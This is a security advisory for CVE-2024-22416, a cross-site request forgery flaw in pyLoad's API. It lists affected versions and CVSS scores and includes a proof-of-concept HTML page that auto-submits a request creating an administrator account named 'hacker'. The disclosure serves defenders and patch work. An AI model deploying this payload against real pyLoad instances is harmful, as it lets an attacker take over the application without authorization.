CVE-2024-22416

CRITICAL9.6EPSS 5.9%

Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

Published: 1/19/2024Modified: 10/21/2024

Description

### Summary The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user. ### PoC We host the following HTML file on an attacker-controlled server. ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application. ![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png) The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`. ![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png) ### Impact Any API call can be made via a CSRF attack by an unauthenticated user.

Affected packages (2)

  • PyPI/pyload-ngfrom 0, < 0.5.0b3.dev78
  • PyPI/pyload-ngfrom 0, < 1374c824271cb7e927740664d06d2e577624ca3e, < c7cdc18ad9134a75222974b39e8b427c4af845fc | from 0, < 0.5.0b3.dev78

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0—CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
osvCVSS 3.1CRITICAL9.6CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References (6)